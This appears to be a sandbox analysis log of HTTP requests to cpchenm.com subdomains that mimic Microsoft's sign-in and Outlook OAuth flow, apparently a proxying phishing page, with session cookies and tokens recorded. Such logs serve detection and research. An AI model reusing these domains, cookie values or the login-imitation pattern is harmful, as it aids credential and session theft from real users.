Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"Origin: https://tvrceocprq.cpchenm.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://tvrceocprq.cpchenm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"Origin: https://tvrceocprq.cpchenm.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://tvrceocprq.cpchenm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"Origin: https://tvrceocprq.cpchenm.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://tvrceocprq.cpchenm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true HTTP/1.1Host: tvrceocprq.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPwAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; fpc=AgoPu6kglfFNoCf1boaPI48; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeR-nh---hZTu4PYqzpbok8MQ_QHeER5WiuVYZj8zzArors-NktxlIATaTGsE4EwcoogCFCKz7fYVT2nl4og7Pq128fudEuKYDlHEqHm6UrhANECekQ2mLt-9tDamerkEvWXDNIF6Rfe9CHNZqG3-AFjrh47ris_u6R79zp6sa4vwgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: tvrceocprq.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPwAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; fpc=AgoPu6kglfFNoCf1boaPI48; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeR-nh---hZTu4PYqzpbok8MQ_QHeER5WiuVYZj8zzArors-NktxlIATaTGsE4EwcoogCFCKz7fYVT2nl4og7Pq128fudEuKYDlHEqHm6UrhANECekQ2mLt-9tDamerkEvWXDNIF6Rfe9CHNZqG3-AFjrh47ris_u6R79zp6sa4vwgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"Origin: https://tvrceocprq.cpchenm.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://tvrceocprq.cpchenm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /common/handlers/watson HTTP/1.1Host: tvrceocprq.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; fpc=AgoPu6kglfFNoCf1boaPI48; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeR-nh---hZTu4PYqzpbok8MQ_QHeER5WiuVYZj8zzArors-NktxlIATaTGsE4EwcoogCFCKz7fYVT2nl4og7Pq128fudEuKYDlHEqHm6UrhANECekQ2mLt-9tDamerkEvWXDNIF6Rfe9CHNZqG3-AFjrh47ris_u6R79zp6sa4vwgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"Origin: https://tvrceocprq.cpchenm.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://tvrceocprq.cpchenm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: tvrcehrvetbr.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://tvrceocprq.cpchenm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"Origin: https://tvrceocprq.cpchenm.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://tvrceocprq.cpchenm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489/cfa6fe23a8b2678daff7e885b1ac3092843be13f2b5c8f8da62bca6faf6007db.js HTTP/1.1Host: tvrceocprq.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AXQAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAB0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeIP3C8g7KwuiM7Ev_rshoThcn-64VIGdTNldLsZu_R-bwEXfX6wPbFRI1Km9R1OBdPdAzE0jHZtiEUV0eiaiXfYQkoa4y3BR73Md6HTvvCakgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezSAI5wLDpJX4pCUbm_wRplnC1A8sDhadqvgReclaUA46gdDBGd2MTJnwqIr1T6zGS5YKlX6-jN1YGO9hB7J60NnJ-o_SMdi97bfQHyFJ-UZH4-bbTDVAWJBcS04ilndtsb7OzBHk5H22Figqv5HcN6_66VUY74Ea3Pte-VHokVogAA; esctx-LcPkWEWIOLw=AQABCQEAAADW6jl31mB3T7ugrWTT8pFetFovww6P0BF3T5TSvnxYcyATNY-wH_gEnmkWFFKV9bjkhc9mAKnj95Pfz-QmcG_fYJ8LvbCIMVFAqrxAytq7DHXUumpKtdjQnNgJr37IoUinidlLqGM0pYkPxRm5RPjpas9ZNvKB6RfR4KtrxRe8DCAA; fpc=AgoPu6kglfFNoCf1boaPI48
Source: global traffic	HTTP traffic detected: GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489.js HTTP/1.1Host: tvrceocprq.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AXQAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAB0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeIP3C8g7KwuiM7Ev_rshoThcn-64VIGdTNldLsZu_R-bwEXfX6wPbFRI1Km9R1OBdPdAzE0jHZtiEUV0eiaiXfYQkoa4y3BR73Md6HTvvCakgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezSAI5wLDpJX4pCUbm_wRplnC1A8sDhadqvgReclaUA46gdDBGd2MTJnwqIr1T6zGS5YKlX6-jN1YGO9hB7J60NnJ-o_SMdi97bfQHyFJ-UZH4-bbTDVAWJBcS04ilndtsb7OzBHk5H22Figqv5HcN6_66VUY74Ea3Pte-VHokVogAA; esctx-LcPkWEWIOLw=AQABCQEAAADW6jl31mB3T7ugrWTT8pFetFovww6P0BF3T5TSvnxYcyATNY-wH_gEnmkWFFKV9bjkhc9mAKnj95Pfz-QmcG_fYJ8LvbCIMVFAqrxAytq7DHXUumpKtdjQnNgJr37IoUinidlLqGM0pYkPxRm5RPjpas9ZNvKB6RfR4KtrxRe8DCAA; fpc=AgoPu6kglfFNoCf1boaPI48
Source: global traffic	HTTP traffic detected: GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489.js HTTP/1.1Host: tvrceocprq.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AXQAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAB0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeIP3C8g7KwuiM7Ev_rshoThcn-64VIGdTNldLsZu_R-bwEXfX6wPbFRI1Km9R1OBdPdAzE0jHZtiEUV0eiaiXfYQkoa4y3BR73Md6HTvvCakgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezSAI5wLDpJX4pCUbm_wRplnC1A8sDhadqvgReclaUA46gdDBGd2MTJnwqIr1T6zGS5YKlX6-jN1YGO9hB7J60NnJ-o_SMdi97bfQHyFJ-UZH4-bbTDVAWJBcS04ilndtsb7OzBHk5H22Figqv5HcN6_66VUY74Ea3Pte-VHokVogAA; esctx-LcPkWEWIOLw=AQABCQEAAADW6jl31mB3T7ugrWTT8pFetFovww6P0BF3T5TSvnxYcyATNY-wH_gEnmkWFFKV9bjkhc9mAKnj95Pfz-QmcG_fYJ8LvbCIMVFAqrxAytq7DHXUumpKtdjQnNgJr37IoUinidlLqGM0pYkPxRm5RPjpas9ZNvKB6RfR4KtrxRe8DCAA; fpc=AgoPu6kglfFNoCf1boaPI48
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489/cfa6fe23a8b2678daff7e885b1ac3092843be13f2b5c8f8da62bca6faf6007db.js HTTP/1.1Host: tvrceocprq.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AXQAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAB0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeIP3C8g7KwuiM7Ev_rshoThcn-64VIGdTNldLsZu_R-bwEXfX6wPbFRI1Km9R1OBdPdAzE0jHZtiEUV0eiaiXfYQkoa4y3BR73Md6HTvvCakgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezSAI5wLDpJX4pCUbm_wRplnC1A8sDhadqvgReclaUA46gdDBGd2MTJnwqIr1T6zGS5YKlX6-jN1YGO9hB7J60NnJ-o_SMdi97bfQHyFJ-UZH4-bbTDVAWJBcS04ilndtsb7OzBHk5H22Figqv5HcN6_66VUY74Ea3Pte-VHokVogAA; esctx-LcPkWEWIOLw=AQABCQEAAADW6jl31mB3T7ugrWTT8pFetFovww6P0BF3T5TSvnxYcyATNY-wH_gEnmkWFFKV9bjkhc9mAKnj95Pfz-QmcG_fYJ8LvbCIMVFAqrxAytq7DHXUumpKtdjQnNgJr37IoUinidlLqGM0pYkPxRm5RPjpas9ZNvKB6RfR4KtrxRe8DCAA; fpc=AgoPu6kglfFNoCf1boaPI48
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tvrceocprq.cpchenm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
